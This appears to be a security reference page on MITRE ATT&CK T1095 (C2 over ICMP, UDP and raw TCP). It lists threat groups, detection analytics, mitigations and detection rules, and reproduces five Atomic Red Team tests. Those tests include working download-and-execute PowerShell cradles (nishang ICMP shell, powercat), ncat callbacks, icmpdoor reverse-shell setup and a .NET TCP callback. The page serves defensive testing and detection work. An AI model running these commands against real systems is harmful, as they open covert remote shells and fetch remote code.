T1095 · Non-Application Layer Protocol · MITRE ATT&CK

Non-Application Layer Protocol MITRE reference T1095

Top 15%of all ATT&CK techniques for number of groups

12 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

UNC3886G1048 ↗

Has deployed backdoors that communicate over TCP to compromised network devices and over VMCI to ESXi hosts.1 2 3

created 2025-05-293 references

ToddyCatG1022 ↗

Has used a passive backdoor that receives commands with UDP packets.1

created 2024-01-031 reference

MetadorG1013 ↗

Has used TCP for C2.1

created 2023-01-251 reference

Ember BearG1003 ↗

Uses socket-based tunneling utilities for command and control purposes such as NetCat and Go Simple Tunnel (GOST). These tunnels are used to push interactive command prompts over the created sockets.1 Ember Bear has also used reverse TCP connections from Meterpreter installations to communicate back with C2 infrastructure.2

created 2022-06-092 referencesaka UNC2589

BITTERG1002 ↗

Has used TCP for C2 communications.1

created 2022-06-011 referenceaka T-APT-17

BackdoorDiplomacyG0135 ↗

Has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.1

created 2021-09-211 reference

All 12 groups for this technique · 6 newest in this preview

Offense vs defense T1095

Compare defenses against adversary use. Eight counts, ranking this technique against the entire ATT&CK Enterprise matrix. Attack sits left, defense right.

Range

Technique Campaign use over its cumulative rule count.

Campaigns · 8Sigma rules (cumulative) · 3Splunk ESCU (cumulative) · 1

Non-Application Layer Protocol detection strategy DET0457

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Non-Application Layer Protocols for C2

Enterprise

5 platforms

AN1254 · Windows

Anomalous use of ICMP or UDP by non-network service processes for data exfiltration or remote control, especially if traffic bypasses proxy infrastructure or shows unusual flow patterns.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Network Traffic ContentDC0085	NSM:Flow	ICMP/UDP traffic (Wireshark, Suricata, Zeek)

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProcessContextAllowList	Processes normally allowed to use ICMP/UDP (e.g., ping.exe, DNS resolver).
ByteTransferAnomalyThreshold	Suspicion if client sends much more data than it receives (e.g., >90%).
ProtocolUsageBaseline	Baseline which protocols are normal per host or segment (ICMP, UDP, etc.).

AN1255 · Linux

ICMP or raw socket traffic generated by user-mode processes like bash, Python, or nc, typically using ping, hping3, or crafted packets via libpcap or scapy.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Connection CreationDC0082	auditd:SYSCALL	sendto/connect
Network Traffic ContentDC0085	NSM:Flow	icmp.log, weird.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
RawSocketExecutionPath	Uncommon programs using raw sockets (e.g., netcat, Python, nmap).
TimeWindow	Tunable window for correlating execution with network events (e.g., 2m).

AN1256 · macOS

Unsigned binaries or interpreted scripts initiating non-standard protocols (ICMP, UDP, SOCKS) outside of baseline network behavior.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	macos:unifiedlog	com.apple.network
Network Traffic ContentDC0085	NSM:Flow	ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UnsignedBinaryNetworkUsage	Detection threshold for unsigned or transient binaries making ICMP/UDP calls.

AN1257 · ESXi

VMCI (Virtual Machine Communication Interface) traffic between guest and host, or between VMs, originating from non-management tools or unauthorized binaries.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic ContentDC0085	esxi:vmkernel	VMCI syslog entries

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
VMCIBackdoorProcess	Monitor for non-vSphere or VMware-native processes using VMCI.
GuestToHostCommPattern	Baseline pattern of guest-to-host traffic vs anomaly (unexpected port, volume).

AN1258 · Network Devices

Non-standard port/protocol pairings or low-entropy ICMP traffic resembling tunneling patterns (e.g., fixed-size pings with delays).

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	NSM:Flow	conn.log, icmp.log
Network Traffic ContentDC0085	NSM:Firewall	ICMP/UDP protocol anomaly

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProtocolEntropyThreshold	ICMP/UDP packet content entropy filter to identify encoded payloads.
SessionDurationThreshold	Long ICMP/UDP sessions beyond expected limits (e.g., >5min).

AuditM1047

Periodically investigate ESXi hosts for open VMCI ports. Running the lsof -A command and inspecting results with a type of SOCKET_VMCI will reveal processes that have open VMCI ports.

Filter Network TrafficM1037

Filter network traffic to prevent use of protocols across the network boundary that are unnecessary. If VMCI is not required in ESXi environments, consider restricting guest virtual machines from accessing VMCI services.

Network Intrusion PreventionM1031

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.

Network SegmentationM1030

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Tests5Executorspowershell 4 · manual 1Need elevation0 of 5Have prerequisites1Have cleanup0Platformswindows, linux

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 ICMP C2 windows powershell — — —

This will attempt to start C2 Session Using ICMP. For information on how to set up the listener refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/

Inputs

Name	Description	Type	Default Value
server_ip	The IP address of the listening server	string	127.0.0.1

Attack Commandsrun with powershell

IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress #{server_ip}

GUID0268e63c-e244-42db-bef7-72a9e59fc1fc

02 Netcat C2 windows powershell — 1 —

Start C2 Session Using Ncat To start the listener on a Linux device, type the following: nc -l -p <port>

Inputs

Name	Description	Type	Default Value
ncat_exe	The location of ncat.exe	path	PathToAtomicsFolder\..\ExternalPayloads\T1095\nmap-7.80\ncat.exe
ncat_path	The folder path of ncat.exe	path	PathToAtomicsFolder\..\ExternalPayloads\T1095
server_ip	The IP address or domain name of the listening server	string	127.0.0.1
server_port	The port for the C2 connection	integer	80

Attack Commandsrun with powershell

cmd /c "#{ncat_exe}" #{server_ip} #{server_port}

Dependenciesrun with powershell

Description

ncat.exe must be available at specified location (#{ncat_exe})

Check Prereq Commands

if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1}

Get Prereq Commands

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory -Force -Path "#{ncat_path}" | Out-Null
$parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.zip"
Invoke-WebRequest  "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath"
  Expand-Archive $zippath $parentpath -Force
  $unzipPath = Join-Path $parentPath "nmap-7.80"
if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | ?{$_.DisplayName -like "Microsoft Visual C++*"}) ) {
  Start-Process (Join-Path $unzipPath "vcredist_x86.exe")
}

GUIDbcf0d1c1-3f6a-4847-b1c9-7ed4ea321f37

03 Powercat C2 windows powershell — — —

Start C2 Session Using Powercat To start the listener on a Linux device, type the following: nc -l -p <port>

Inputs

Name	Description	Type	Default Value
server_ip	The IP address or domain name of the listening server	string	127.0.0.1
server_port	The port for the C2 connection	integer	80

Attack Commandsrun with powershell

IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c #{server_ip} -p #{server_port}

GUID3e0e0e7f-6aa2-4a61-b61d-526c2cc9330e

04 Linux ICMP Reverse Shell using icmp-cnc linux manual — — —

ICMP C2 (Command and Control) utilizes the Internet Control Message Protocol (ICMP), traditionally used for network diagnostics, as a covert communication channel for attackers. By using ICMP, adversaries can send commands, exfiltrate data, or maintain access to compromised systems without triggering network detection systems. This method allows attackers to communicate and control compromised devices while remaining undetected. For more details, check this blog: ICMP Reverse Shell Blog **Important Notes:** - Use [icmp-cnc] for the C2 server (Attacker) and [icmpdoor] for the C2 client (Victim). - Binaries work on Ubuntu 22.04.5 LTS; for CentOS Stream or other, use the Python file from the GitHub link [https://github.com/krabelize/icmpdoor]. - Root access is required.

Run it with these steps

1. Run the following command on both the attacker and victim machines to download the required binaries. mkdir -p /tmp/icmpdoor && wget -P /tmp/icmpdoor https://github.com/krabelize/icmpdoor/raw/2398f7e0b8548d8ef2891089e4199ee630e84ef6/binaries/x86_64-linux/icmp-cnc https://github.com/krabelize/icmpdoor/raw/2398f7e0b8548d8ef2891089e4199ee630e84ef6/binaries/x86_64-linux/icmpdoor && chmod +x /tmp/icmpdoor/icmp-cnc /tmp/icmpdoor/icmpdoor && echo 'export PATH=$PATH:/tmp/icmpdoor' >> ~/.bashrc && source ~/.bashrc 2. Start the C2 server on the attacker system to listen for incoming connections. icmp-cnc --interface <Network Interface> --destination_ip <VICTIM-IP> 3. Run the client on the victim machine. icmpdoor --interface <Network Interface> --destination_ip <ATTACKER-IP> 4. Cleanup Command: Remove the icmpdoor directory. rm -rf /tmp/icmpdoor

GUID8e139e1f-1f3a-4be7-901d-afae9738c064

05 Turla Topinambour TCP Callback via Inline .NET windows powershell — — —

Attempts a TCP socket connection to a specified IP on port 13277 with a .NET payload, mirroring how Topinambour connects to hardcoded C2 addresses to establish a remote shell. Defaults to 127.0.0.1 so the attempt fails safely without a listener. The socket has a 5 second connection timeout via Poll, and a 20 second receive timeout. Reference: https://securelist.com/turla-renews-its-arsenal-with-topinambour/91687/

Inputs

Name	Description	Type	Default Value
callback_ip	IP address to connect back to (simulates C2 server)	string	127.0.0.1

Attack Commandsrun with powershell

$callbackIP = "#{callback_ip}"
Add-Type @"
using System;
using System.Net;
using System.Net.Sockets;

public class TopinambourCallback {
    public static void Connect(string ip) {
        IPAddress addr = IPAddress.Parse(ip);
        IPEndPoint remoteEP = new IPEndPoint(addr, 13277);
        Socket socket = new Socket(addr.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
        socket.ReceiveTimeout = 20000;
        socket.SendTimeout = 60000;
        socket.Blocking = false;
        try { socket.Connect(remoteEP); } catch (SocketException) { }
        if (!socket.Poll(5000000, SelectMode.SelectWrite)) {
            socket.Close();
            return;
        }
        socket.Blocking = true;
        byte[] array = new byte[4];
        socket.Receive(array, 4, SocketFlags.None);
        socket.Close();
    }
}
"@
try { [TopinambourCallback]::Connect($callbackIP) } catch { }

GUIDb2858526-001a-4b94-8036-d18dab2898a6

Tests from Atomic Red Team (MIT licence) · technique definition

Non-Application Layer Protocol detections T1095

4 rules are mapped to this technique.

60th pctamong all ATT&CK techniques for number of rules

Showing 1-4 of 4 rules

Drag headers to reorder | Drag edges to resize

Select	Description	Category	Status	Event	OS	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID
Splunk	The following analytic detects the use of the `curl` command with proxy-related arguments such as `-x`, `socks`, `--preproxy`, and `--proxy`. (...)	Generic	stable	process_creation	linux	Sysmon	Command and Control Non-Application Layer Protocol Command and Control Proxy	-	medium	Michael Haag, Splunk, 0xC0FFEEEE, Github Community	2022-07-29	2026-06-04	bd596c22-ad1e-44fc-b242-817253ce8b08
	Adversaries may use a non-application layer protocol for communication between host and C2 server or (...)	Generic	test	ps_classic_start	windows	PowerShell	Execution Command and Scripting Interpreter PowerShell Command and Control Non-Application Layer Protocol	-	medium	frack113	2021-07-21	2023-10-27	c5b20776-639a-49bf-94c7-84f912b91c15
	Detects execution of Netcat. (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Command and Control Non-Application Layer Protocol	-	high	frack113, Florian Roth (Nextron Systems)	2021-07-21	2023-02-08	e31033fc-33f0-4020-9a16-faf9b31cbf08
	The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused). (...)	Generic	test	-	-	DNS · Zeek	Command and Control Non-Application Layer Protocol Command and Control Non-Standard Port	-	medium	@neu5ron, SOC Prime Team, Corelight	2021-05-04	2022-11-29	ede05abc-2c9e-4624-9944-9ff17fdc0bf5

Non-Application Layer Protocol T1095

Non-Application Layer Protocol T1095

Non-Application Layer Protocol MITRE reference T1095

Offense vs defense T1095

Non-Application Layer Protocol detection strategy DET0457

Detection of Non-Application Layer Protocols for C2

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Non-Application Layer Protocol MITRE reference T1095

Offense vs defense T1095

Non-Application Layer Protocol detection strategy DET0457

Detection of Non-Application Layer Protocols for C2

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Non-Application Layer Protocol detections T1095

Non-Application Layer Protocol detections T1095